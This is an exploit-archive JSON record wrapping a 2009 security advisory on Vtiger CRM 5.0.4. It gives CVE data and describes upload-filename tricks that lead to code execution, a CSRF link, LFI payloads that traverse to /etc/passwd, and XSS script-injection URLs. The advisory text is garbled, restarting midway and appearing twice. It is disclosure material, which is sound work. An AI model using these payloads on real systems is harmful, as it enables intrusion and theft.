{"exploit":{"id":"EDB-9450","name":"Vtiger CRM 5.0.4 - Remote Code Execution (RCE) / Cross-Site Request Forgery (CSRF) / Local File Inclusion (LFI) / Cross-Site Scripting (XSS)","description":"Vtiger CRM 5.0.4 - Remote Code Execution (RCE) / Cross-Site Request Forgery (CSRF) / Local File Inclusion (LFI) / Cross-Site Scripting (XSS)","cves":["CVE-2009-3250","CVE-2009-3249","CVE-2009-3248","CVE-2009-3247"],"author":"USH","published":"2009-08-18","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9450","path":"exploits/php/webapps/9450.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9450.txt","vulnerabilities":[{"id":"CVE-2009-3250","state":"PUBLISHED","title":null,"titleSource":null,"description":"The saveForwardAttachments procedure in the Compose Mail functionality in vtiger CRM 5.0.4 allows remote authenticated users to execute arbitrary code by composing an e-mail message with an attachment filename ending in (1) .php in installations based on certain Apache HTTP Server configurations, (2) .php. on Windows, or (3) .php/ on Linux, and then making a direct request to a certain pathname under storage/.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3250","cvss":{"version":"2.0","baseScore":9,"severity":"high","vectorString":"AV:N/AC:L/Au:S/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3250"},"updatedAt":"2024-08-07T06:22:24.252Z","retrievedAt":"2026-11-27T09:10:56.390Z","stale":false,"error":null},{"id":"CVE-2009-3249","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in vtiger CRM 5.0.4 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in (1) the module parameter to graph.php; or the (2) module or (3) file parameter to include/Ajax/CommonAjax.php, reachable through modules/Campaigns/CampaignsAjax.php, modules/SalesOrder/SalesOrderAjax.php, modules/System/SystemAjax.php, modules/Products/ProductsAjax.php, modules/uploads/uploadsAjax.php, modules/Dashboard/DashboardAjax.php, modules/Potentials/PotentialsAjax.php, modules/Notes/NotesAjax.php, modules/Faq/FaqAjax.php, modules/Quotes/QuotesAjax.php, modules/Utilities/UtilitiesAjax.php, modules/Calendar/ActivityAjax.php, modules/Calendar/CalendarAjax.php, modules/PurchaseOrder/PurchaseOrderAjax.php, modules/HelpDesk/HelpDeskAjax.php, modules/Invoice/InvoiceAjax.php, modules/Accounts/AccountsAjax.php, modules/Reports/ReportsAjax.php, modules/Contacts/ContactsAjax.php, and modules/Portal/PortalAjax.php; and allow remote authenticated users to include and execute arbitrary local files via a .. (dot dot) in the step parameter in an Import action to the (4) Accounts, (5) Contacts, (6) HelpDesk, (7) Leads, (8) Potentials, (9) Products, or (10) Vendors module, reachable through index.php and related to modules/Import/index.php and multiple Import.php files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3249","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3249"},"updatedAt":"2024-08-07T06:22:23.988Z","retrievedAt":"2026-11-27T06:06:31.409Z","stale":false,"error":null},{"id":"CVE-2009-3248","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site request forgery (CSRF) vulnerability in the RSS module in vtiger CRM 5.0.4 allows remote attackers to hijack the authentication of Admin users for requests that modify the news feed system via the rssurl parameter in a Save action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3248","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3248"},"updatedAt":"2024-08-07T06:22:24.888Z","retrievedAt":"2026-11-27T09:25:36.889Z","stale":false,"error":null},{"id":"CVE-2009-3247","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site scripting (XSS) vulnerability in the Activities module in vtiger CRM 5.0.4 allows remote attackers to inject arbitrary web script or HTML via the action parameter to phprint.php. NOTE: the query_string vector is already covered by CVE-2008-3101.3.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3247","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3247"},"updatedAt":"2024-08-07T06:22:23.994Z","retrievedAt":"2026-11-27T09:25:43.326Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9450.png?v=2","url":"https://exploitbin.com/exploits/EDB-9450","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9450/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9450/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Vtiger CRM 5.0.4 Multiple Vulnerabilities\n\n Name              Multiple Vulnerabilities in Vtiger CRM\n Systems Affected  Vtiger CRM 5.0.4 and possibly earlier versions\n Severity          Medium\n Impact (CVSSv2)   Medium 6/10, vector: (AV:N/AC:M/Au:S/C:P/I:P/A:P)\n Vendor            http://www.vtigercrm.com\n Advisory\nhttp://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt\n Authors           Giovanni \"evilaliv3\" Pellerano (evilaliv3 AT ush DOT it)\n                   Antonio \"s4tan\" Parata (s4tan AT ush DOT it)\n                   Francesco \"ascii\" Ongaro (ascii AT ush DOT it)\n Date              20090818\n\nI. BACKGROUND\n\nVtiger CRM is a free, full-featured, 100% Open Source CRM software ideal\nfor small and medium businesses, with low-cost product support available\nto production users that need reliable support.\n\nII. DESCRIPTION\n\nMultiple Vulnerabilities exist in Vtiger CRM software.\n\nSome of the technical issues highlighted in this advisory are part of a\nwider publication, \"PHP filesystem attack vectors - Take Two\", and are\ngeneric to applications written in the PHP language:\nhttp://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/\n\nIII. ANALYSIS\n\nSummary:\n\n A) Remote Code Execution (RCE) Vulnerability\n B) Cross Site Request Forgery (CSRF) Vulnerabilities\n C) Local File Inclusion (LFI) Vulnerability\n D) Cross Side Scripting (XSS) Vulnerability\n\nA) Remote Code Execution (Windows Only) Vulnerability\n\nA Remote Code Execution vulnerability exists in Vtiger CRM version\n5.0.4. In order to exploit this vulnerability an account on the CRM\nsystem is required.\n\nThe vulnerability resides in the \"Compose Mail\" section. The software\npermits sending email with attachments and offers a draft save feature.\nWhen this feature is requested and an attachment is specified, the\n\"saveForwardAttachments\" validation routine is called.\n\nThis routine involves some security checks to handle uploaded files, it\ndoes blacklist extension checking and if a bad extension is detected the\ntxt extension is appended to the file-name.\n\nThe following is the specific section:\n\n--8<--8<--8<--8<--8<--8<--8<-Vtiger CRM 5.0.4 Multiple Vulnerabilities\n\n Name              Multiple Vulnerabilities in Vtiger CRM\n Systems Affected  Vtiger CRM 5.0.4 and possibly earlier versions\n Severity          Medium\n Impact (CVSSv2)   Medium 6/10, vector: (AV:N/AC:M/Au:S/C:P/I:P/A:P)\n Vendor            http://www.vtigercrm.com\n Advisory\n Authors           Giovanni \"evilaliv3\" Pellerano (evilaliv3 AT ush DOT it)\n                   Antonio \"s4tan\" Parata (s4tan AT ush DOT it)\n                   Francesco \"ascii\" Ongaro (ascii AT ush DOT it)\n Date              20090818\n\nI. BACKGROUND\n\nVtiger CRM is a free, full-featured, 100% Open Source CRM software ideal\nfor small and medium businesses, with low-cost product support available\nto production users that need reliable support.\n\nII. DESCRIPTION\n\nMultiple Vulnerabilities exist in Vtiger CRM software.\n\nSome of the technical issues highlighted in this advisory are part of a\nwider publication, \"PHP filesystem attack vectors - Take Two\", and are\ngeneric to applications written in the PHP language:\nhttp://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/\n\nIII. ANALYSIS\n\nSummary:\n\n A) Remote Code Execution (RCE) Vulnerability\n B) Cross Site Request Forgery (CSRF) Vulnerabilities\n C) Local File Inclusion (LFI) Vulnerability\n D) Cross Side Scripting (XSS) Vulnerability\n\nA) Remote Code Execution (Windows Only) Vulnerability\n\nA Remote Code Execution vulnerability exists in Vtiger CRM version\n5.0.4. In order to exploit this vulnerability an account on the CRM\nsystem is required.\n\nThe vulnerability resides in the \"Compose Mail\" section. The software\npermits sending email with attachments and offers a draft save feature.\nWhen this feature is requested and an attachment is specified, the\n\"saveForwardAttachments\" validation routine is called.\n\nThis routine involves some security checks to handle uploaded files, it\ndoes blacklist extension checking and if a bad extension is detected the\ntxt extension is appended to the file-name.\n\nThe following is the specific section:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\n$ext_pos = strrpos($binFile, \".\");\n$ext = substr($binFile, $ext_pos + 1);\nif (in_array(strtolower($ext), $upload_badext))\n{\n    $binFile .= \".txt\";\n}\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nIt's known that in some circostances (for example when the PHP handler\nis configured using AddType/Action/AddHandler globally, eg. not inside\nan Apache's Files/FilesMatch directive) blacklisting is not enough as\nfiles in the form of \"filename.php.foo\" will be mapped back to PHP\nanyway (since foo is not explicitly defined in the MIME map and Apache\nwill try to guess the filetype by its own).\n\nBeside this known issue we want to point out a less known exploitation\nmethodology that works on Windows hosts.\n\nFirst the attacker has to find the name of the file that was uploaded\nin the attachment list files. Vtiger CRM saves files in a path like:\n\nstorage/2009/July/week1/\n\nAnd prepends an incremental unique number to the filename like:\n\n133_foo.php\n\nSo, a hypothetical attacker has only to guess the prepended number. This\ncan be done by bruteforcing or by requesting the url:\n\nhttp://127.0.0.1/vtigercrm/index.php?module=Emails&action=ListView\n\nAt this page Vtiger CRM shows the list of all the emails sent and saved,\nand for every email it allows to download the attachment showing its\nunique id in the link.\n\nhttp://127.0.0.1/vtigercrm/index.php?module=uploads&action=downloadfile&\nreturn_module=Emails&fileid=133&entityid=136\n\nSo, finally, the link to exploit this vulnerability should be something\nlike:\n\nhttp://127.0.0.1/vtigercrm/storage/2009/July/week1/133.foo.php\n\nWhile Vtiger CRM blocks known dangerous extensions (like .php) making\ndirect exploitation impossible it has to be highlighted that this simple\nestension check is totally improper since it does not consider specific\nfilenames and behaviours of the operating systems where Vtiger CRM is\ndeployed.\n\nFor example on Windows OS is possible to exploit this vulnerability by\nrequesting an upload with the filename \"foo.php.\".\n\nThis string will bypass the check and since Windows does not permit\nfilenames ending with a dot, modifying it in a transparent way, the final\nname of the file will simply be \"foo.php.\".\n\nA similar result can be obtained on GNU/Linux by requesting an upload\nwith the filename \"foo.php/.\"\n\nNote that the integrated webmail feature that allows a user to write\nemails and eventually save a draft of them is authenticated (a valid\nuser on the system is required in order to exploit this vulnerability).\n\nB) Multiple CSRF (Cross Site Request Forgery) Vulnerabilites\n\nMultiple CSRF vulnerabilities exist in vtiger crm version 5.0.4.\nHere's a demonstrative one (an Admin user has to follow this link):\n\nhttp://127.0.0.1/vtigercrm/index.php?module=Rss&action=Save&rssurl=http:\n//www.ush.it/feed\n\nThe feed is added to the news feed system visible by the crm users.\n\nOther and more dangerous CSRF vulnerabilities exist.\n\nC) Local File Inclusion\n\nSome LFI vulnerabilities exist in Vtiger CRM version 5.0.4.\n\nSome examples:\n\n1) http://127.0.0.1/vtigercrm/graph.php?module=/../[..]/../etc/passwd%00\n2) http://127.0.0.1/vtigercrm/index.php?module=Accounts&action=Import&pa\nrenttab=Support&step=/../[..]/../etc/passwd%00\n\nAdd as many \"../\" instead of the \"[..]\" placeholder as needed.\n\nThe first one does not need a valid user account, the second one is\nauthenticated.\n\nOther modules are vulnerable to LFI, for example those who include\n\"Import/index.php\" where the vulnerability resides:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\ngrep \"Import/index.php\" * -R\n\nmodules/Accounts/Import.php: include('modules/Import/index.php');\nmodules/Contacts/Import.php: include('modules/Import/index.php');\nmodules/HelpDesk/Import.php: include('modules/Import/index.php');\nmodules/Leads/Import.php: include('modules/Import/index.php');\nmodules/Potentials/Import.php: include('modules/Import/index.php');\nmodules/Products/Import.php: include('modules/Import/index.php');\nmodules/Vendors/Import.php: include('modules/Import/index.php');\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nA third LFI vulnerability has been found in \"CommonAjax.php\", both\n\"module\" and \"file\" parameters are vulnerable.\n\nhttp://127.0.0.1/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar\n\nWill lead to a call like \"require_once(modules/Email/bar.php)\".\n\nIf direct access to \"CommonAjax.php\" has been forbidden other entry\npoints can be used:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\ngrep \"Ajax/CommonAjax.php\" * -R\nmodules/Campaigns/CampaignsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/SalesOrder/SalesOrderAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/System/SystemAjax.php: require_once('include/Ajax/CommonAjax.php');\nmodules/Products/ProductsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/uploads/uploadsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Dashboard/DashboardAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Potentials/PotentialsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Notes/NotesAjax.php: require_once('include/Ajax/CommonAjax.php');\nmodules/Faq/FaqAjax.php: require_once('include/Ajax/CommonAjax.php');\nmodules/Quotes/QuotesAjax.php: require_once('include/Ajax/CommonAjax.php');\nmodules/Utilities/UtilitiesAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Calendar/ActivityAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Calendar/CalendarAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/PurchaseOrder/PurchaseOrderAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/HelpDesk/HelpDeskAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Invoice/InvoiceAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Accounts/AccountsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Reports/ReportsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Contacts/ContactsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Portal/PortalAjax.php: require_once('include/Ajax/CommonAjax.php');\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nTo use one of these files as gateway for the previous vulnerability\nissue a request like the following:\n\nhttp://127.0.0.1/vtigercrm/?module=Invoice&action=InvoiceAjax&file=bar\n\nWhere \"Invoice\" and \"InvoiceAjax\" are values from the presented list.\n\nThis LFI vulnerability is not exploitable if you have applied a separate\npatch available at the following url:\n\nhttps://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.0.4%20\nLatest%20Stable/VtigerCRM504_Security_Patch.zip\n\nWe question ourself about the usefulness of such patch without a proper\nrelease. Probably little or no Vtiger CRM customers have applied such\npatch.\n\nD) Cross Side Scripting vulnerabilites\n\nSome XSS vulnerabilities exist in Vtiger CRM version 5.0.4.\n\nFor example:\n\nhttp://127.0.0.1/vtigercrm/phprint.php?module=Activities&action=--%3E%3C\nscript%3Ealert(%22ush.it%22);%3C/script%3E%3C!--\n\nOr:\n\nhttp://127.0.0.1/vtigercrm/index.php?action=UnifiedSearch&module=Home&pa\nrenttab=My+Home+Page&query_string=%27%22%3E%3Cscript%3Ealert(123)%3C/scr\nipt%3E\n\nIV. DETECTION\n\nVtiger CRM 5.0.4 and possibly earlier versions are vulnerable.\n\nV. WORKAROUND\n\nUpgrade to latest version 5.1.0.\n\nVI. VENDOR RESPONSE\n\n\"Our team reviewed the issues reported against current development build\n(version 5.1.0) and seem to have\naddressed many of them already. In this version we have made several\nimprovements to performance and\nclosed loop holes reported on 5.0.4 with lot more features.\n\nPlease let me know if you need further clarification.\nThank you for your support once again.\"\n\nVII. CVE INFORMATION\n\nNo CVE at this time.\n\nVIII. DISCLOSURE TIMELINE\n\n20090620 Bug discovered\n20090706 First vendor contact\n20090706 Vendor Response\n20090706 Vendor Confirm the vulnerability\n20090713 Vendor propose a possible fix and path release\n20090722 Vendor released VtigerCRM 5.1.0 (Vulnerability fixed)\n20090818 Advisory released\n\nIX. CREDIT\n\nGiovanni \"evilaliv3\" Pellerano, Antonio \"s4tan\" Parata and Francesco\n\"ascii\" Ongaro are credited with the discovery of this vulnerability.\n\nGiovanni \"evilaliv3\" Pellerano\nweb site: http://www.ush.it/, http://www.evilaliv3.org/\nmail: evilaliv3 AT ush DOT it\n\nAntonio \"s4tan\" Parata\nweb site: http://www.ush.it/\nmail: s4tan AT ush DOT it\n\nFrancesco \"ascii\" Ongaro\nweb site: http://www.ush.it/\nmail: ascii AT ush DOT it\n\nX. LEGAL NOTICES\n\nCopyright (c) 2009 Francesco \"ascii\" Ongaro\n\nPermission is granted for the redistribution of this alert\nelectronically. It may not be edited in any way without mine express\nwritten consent. If you wish to reprint the whole or any\npart of this alert in any other medium other than electronically,\nplease email me for permission.\n\nDisclaimer: The information in the advisory is believed to be accurate\nat the time of publishing based on currently available information. Use\nof the information constitutes acceptance for use in an AS IS condition.\nThere are no warranties with regard to this information. Neither the\nauthor nor the publisher accepts any liability for any direct, indirect,\nor consequential loss or damage arising from use of, or reliance on,\nthis information.\n\n-8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\n$ext_pos = strrpos($binFile, \".\");\n$ext = substr($binFile, $ext_pos + 1);\nif (in_array(strtolower($ext), $upload_badext))\n{\n    $binFile .= \".txt\";\n}\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nIt's known that in some circostances (for example when the PHP handler\nis configured using AddType/Action/AddHandler globally, eg. not inside\nan Apache's Files/FilesMatch directive) blacklisting is not enough as\nfiles in the form of \"filename.php.foo\" will be mapped back to PHP\nanyway (since foo is not explicitly defined in the MIME map and Apache\nwill try to guess the filetype by its own).\n\nBeside this known issue we want to point out a less known exploitation\nmethodology that works on Windows hosts.\n\nFirst the attacker has to find the name of the file that was uploaded\nin the attachment list files. Vtiger CRM saves files in a path like:\n\nstorage/2009/July/week1/\n\nAnd prepends an incremental unique number to the filename like:\n\n133_foo.php\n\nSo, a hypothetical attacker has only to guess the prepended number. This\ncan be done by bruteforcing or by requesting the url:\n\nhttp://127.0.0.1/vtigercrm/index.php?module=Emails&action=ListView\n\nAt this page Vtiger CRM shows the list of all the emails sent and saved,\nand for every email it allows to download the attachment showing its\nunique id in the link.\n\nhttp://127.0.0.1/vtigercrm/index.php?module=uploads&action=downloadfile&\nreturn_module=Emails&fileid=133&entityid=136\n\nSo, finally, the link to exploit this vulnerability should be something\nlike:\n\nhttp://127.0.0.1/vtigercrm/storage/2009/July/week1/133.foo.php\n\nWhile Vtiger CRM blocks known dangerous extensions (like .php) making\ndirect exploitation impossible it has to be highlighted that this simple\nestension check is totally improper since it does not consider specific\nfilenames and behaviours of the operating systems where Vtiger CRM is\ndeployed.\n\nFor example on Windows OS is possible to exploit this vulnerability by\nrequesting an upload with the filename \"foo.php.\".\n\nThis string will bypass the check and since Windows does not permit\nfilenames ending with a dot, modifying it in a transparent way, the final\nname of the file will simply be \"foo.php.\".\n\nA similar result can be obtained on GNU/Linux by requesting an upload\nwith the filename \"foo.php/.\"\n\nNote that the integrated webmail feature that allows a user to write\nemails and eventually save a draft of them is authenticated (a valid\nuser on the system is required in order to exploit this vulnerability).\n\nB) Multiple CSRF (Cross Site Request Forgery) Vulnerabilites\n\nMultiple CSRF vulnerabilities exist in vtiger crm version 5.0.4.\nHere's a demonstrative one (an Admin user has to follow this link):\n\nhttp://127.0.0.1/vtigercrm/index.php?module=Rss&action=Save&rssurl=http:\n//www.ush.it/feed\n\nThe feed is added to the news feed system visible by the crm users.\n\nOther and more dangerous CSRF vulnerabilities exist.\n\nC) Local File Inclusion\n\nSome LFI vulnerabilities exist in Vtiger CRM version 5.0.4.\n\nSome examples:\n\n1) http://127.0.0.1/vtigercrm/graph.php?module=/../[..]/../etc/passwd%00\n2) http://127.0.0.1/vtigercrm/index.php?module=Accounts&action=Import&pa\nrenttab=Support&step=/../[..]/../etc/passwd%00\n\nAdd as many \"../\" instead of the \"[..]\" placeholder as needed.\n\nThe first one does not need a valid user account, the second one is\nauthenticated.\n\nOther modules are vulnerable to LFI, for example those who include\n\"Import/index.php\" where the vulnerability resides:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\ngrep \"Import/index.php\" * -R\n\nmodules/Accounts/Import.php: include('modules/Import/index.php');\nmodules/Contacts/Import.php: include('modules/Import/index.php');\nmodules/HelpDesk/Import.php: include('modules/Import/index.php');\nmodules/Leads/Import.php: include('modules/Import/index.php');\nmodules/Potentials/Import.php: include('modules/Import/index.php');\nmodules/Products/Import.php: include('modules/Import/index.php');\nmodules/Vendors/Import.php: include('modules/Import/index.php');\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nA third LFI vulnerability has been found in \"CommonAjax.php\", both\n\"module\" and \"file\" parameters are vulnerable.\n\nhttp://127.0.0.1/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar\n\nWill lead to a call like \"require_once(modules/Email/bar.php)\".\n\nIf direct access to \"CommonAjax.php\" has been forbidden other entry\npoints can be used:\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\ngrep \"Ajax/CommonAjax.php\" * -R\nmodules/Campaigns/CampaignsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/SalesOrder/SalesOrderAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/System/SystemAjax.php: require_once('include/Ajax/CommonAjax.php');\nmodules/Products/ProductsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/uploads/uploadsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Dashboard/DashboardAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Potentials/PotentialsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Notes/NotesAjax.php: require_once('include/Ajax/CommonAjax.php');\nmodules/Faq/FaqAjax.php: require_once('include/Ajax/CommonAjax.php');\nmodules/Quotes/QuotesAjax.php: require_once('include/Ajax/CommonAjax.php');\nmodules/Utilities/UtilitiesAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Calendar/ActivityAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Calendar/CalendarAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/PurchaseOrder/PurchaseOrderAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/HelpDesk/HelpDeskAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Invoice/InvoiceAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Accounts/AccountsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Reports/ReportsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Contacts/ContactsAjax.php:\nrequire_once('include/Ajax/CommonAjax.php');\nmodules/Portal/PortalAjax.php: require_once('include/Ajax/CommonAjax.php');\n\n--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--\n\nTo use one of these files as gateway for the previous vulnerability\nissue a request like the following:\n\nhttp://127.0.0.1/vtigercrm/?module=Invoice&action=InvoiceAjax&file=bar\n\nWhere \"Invoice\" and \"InvoiceAjax\" are values from the presented list.\n\nThis LFI vulnerability is not exploitable if you have applied a separate\npatch available at the following url:\n\nhttps://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.0.4%20\nLatest%20Stable/VtigerCRM504_Security_Patch.zip\n\nWe question ourself about the usefulness of such patch without a proper\nrelease. Probably little or no Vtiger CRM customers have applied such\npatch.\n\nD) Cross Side Scripting vulnerabilites\n\nSome XSS vulnerabilities exist in Vtiger CRM version 5.0.4.\n\nFor example:\n\nhttp://127.0.0.1/vtigercrm/phprint.php?module=Activities&action=--%3E%3C\nscript%3Ealert(%22ush.it%22);%3C/script%3E%3C!--\n\nOr:\n\nhttp://127.0.0.1/vtigercrm/index.php?action=UnifiedSearch&module=Home&pa\nrenttab=My+Home+Page&query_string=%27%22%3E%3Cscript%3Ealert(123)%3C/scr\nipt%3E\n\nIV. DETECTION\n\nVtiger CRM 5.0.4 and possibly earlier versions are vulnerable.\n\nV. WORKAROUND\n\nUpgrade to latest version 5.1.0.\n\nVI. VENDOR RESPONSE\n\n\"Our team reviewed the issues reported against current development build\n(version 5.1.0) and seem to have\naddressed many of them already. In this version we have made several\nimprovements to performance and\nclosed loop holes reported on 5.0.4 with lot more features.\n\nPlease let me know if you need further clarification.\nThank you for your support once again.\"\n\nVII. CVE INFORMATION\n\nNo CVE at this time.\n\nVIII. DISCLOSURE TIMELINE\n\n20090620 Bug discovered\n20090706 First vendor contact\n20090706 Vendor Response\n20090706 Vendor Confirm the vulnerability\n20090713 Vendor propose a possible fix and path release\n20090722 Vendor released VtigerCRM 5.1.0 (Vulnerability fixed)\n20090818 Advisory released\n\nIX. CREDIT\n\nGiovanni \"evilaliv3\" Pellerano, Antonio \"s4tan\" Parata and Francesco\n\"ascii\" Ongaro are credited with the discovery of this vulnerability.\n\nGiovanni \"evilaliv3\" Pellerano\nweb site: http://www.ush.it/, http://www.evilaliv3.org/\nmail: evilaliv3 AT ush DOT it\n\nAntonio \"s4tan\" Parata\nweb site: http://www.ush.it/\nmail: s4tan AT ush DOT it\n\nFrancesco \"ascii\" Ongaro\nweb site: http://www.ush.it/\nmail: ascii AT ush DOT it\n\nX. LEGAL NOTICES\n\nCopyright (c) 2009 Francesco \"ascii\" Ongaro\n\nPermission is granted for the redistribution of this alert\nelectronically. It may not be edited in any way without mine express\nwritten consent. If you wish to reprint the whole or any\npart of this alert in any other medium other than electronically,\nplease email me for permission.\n\nDisclaimer: The information in the advisory is believed to be accurate\nat the time of publishing based on currently available information. Use\nof the information constitutes acceptance for use in an AS IS condition.\nThere are no warranties with regard to this information. Neither the\nauthor nor the publisher accepts any liability for any direct, indirect,\nor consequential loss or damage arising from use of, or reliance on,\nthis information.\n\n# milw0rm.com [2009-08-18]","sha256":"c165ceaf10f97a9a80e755f759e673ccda4f8f06eae043a55e78e03dc01a4dc9","bytes":22966,"fetchedAt":"2026-11-27T09:10:53.177Z","encoding":"utf-8 (display only; download retains original bytes)"}